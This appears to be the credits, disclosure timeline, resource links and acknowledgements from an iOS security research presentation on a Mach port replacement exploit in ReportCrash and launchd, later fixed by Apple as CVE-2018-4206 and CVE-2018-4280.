https://github.com/bazad/blanket
Credits
Tavis Ormandy's exploit for Apport's vulnerability CVE-2015-1318 is one of only two public exploits I could find that use crashing in a meaningful way.

Tavis Ormandy's exploit for CVE-2015-1862 targeting Fedora's Abrt utility is the other public exploit that uses crashing.

This 2015 article by Jonathan Levin explains how to use `processor_set_tasks()` to work around Apple's restrictions on `task_for_pid()`. `processor_set_tasks()` was used in Ian Beer's `triple_fetch` before Apple closed the loophole.
Ian Beer's report on CVE-2016-7612 is the first public reference I'm aware of to the security implications of MIG lifetime semantics.

Ian Beer's CVE-2016-7633 shows that MIG lifetime issues also affect userspace processes.

Ian Beer's report on CVE-2016-7637 is the first public demonstration of the Mach port replacement exploit technique. This is also the first demonstration I could find of attacking launchd to perform Mach service impersonation, which was a crucial step in my exploit.
Ian Beer's report on CVE-2016-7661 exploits a Mach port replacement vulnerability in the powerd daemon that is somewhat similar to the vulnerability in this exploit.

Ian Beer's triple_fetch exploit, which leveraged CVE-2017-7047, demonstrated many techniques, in particular how to use a task port to call functions in a process, that were instrumental in my exploit.

Ian Beer's async_wake project exploited CVE-2017-13861, a Mach port double deallocation in the kernel's IOSurfaceRootUserClient class, which is also similar to this vulnerability.
Ian Beer reported the Mach port replacement in ReportCrash on February 7, 2018, while my research was ongoing. Apple fixed the issue in iOS 11.3.1 and assigned it CVE-2018-4206.
Timeline

- I discovered the original Mach port replacement vulnerability in ReportCrash sometime between December 2017 and January 2018.

- I discovered the launchd variant in January.

- Ian Beer reported the ReportCrash vulnerability to Apple on February 7.

- I reported both vulnerabilities to Apple on April 13.

- Apple fixed the ReportCrash vulnerability in iOS 11.3.1, released April 24, and assigned it CVE-2018-4206.

- Apple fixed the launchd vulnerability in iOS 11.4.1, released July 9, and assigned it CVE-2018-4280.
Resources (1)

The source code for the XNU kernel. This is the ultimate reference for how exception handling (and other features) really work.

- https://developer.apple.com/library/content/documentation/Xcode/Conceptual/iPhoneOSABIRefERENCE/A c t i v e / A r t i c l e s / A R M 6 4 F u n c t i o n C a l l i n g C o n v e n t i o n s . h t m l
  The ARM64 function calling convention, which I used to determine how to use a thread port to call arbitrary functions with a large number of arguments.

- https://ianmcdowell.net/blog/nsextenstion/
  A great online blog post by Ian McDowell about how to use the NSExtension API to launch and communicate with an app extension.
Resources (2)

  Apple's documentation on programming app extensions.

- https://ipsw.me
  A convenient way to get links to Apple's IPSW files. This is useful for obtaining the binaries on the root filesystem for reverse engineering.

- http://newosxbook.com/tools/iOSBinaries.html
  Useful binaries compiled for iOS.
Presentation Resources

- https://be5invis.github.io/losevka/

- https://ethanschoonover.com/solarized/
Thank you

Thanks to Ian Beer for his amazing iOS security research, especially for discovering novel vulnerability categories and exploit techniques on which my research is based.

Thanks to Jonathan Levin for his iOS internals research, which was invaluable in developing my exploit.

Thanks to Jonathan Levin for updating his iOS binaries to include the com.apple.private.security.container-required entitlement.

Thanks to Kate Stowell for helping me organize and refine this presentation.
Brandon Azad

bazad@cs.stanford.edu

@_bazad

bazad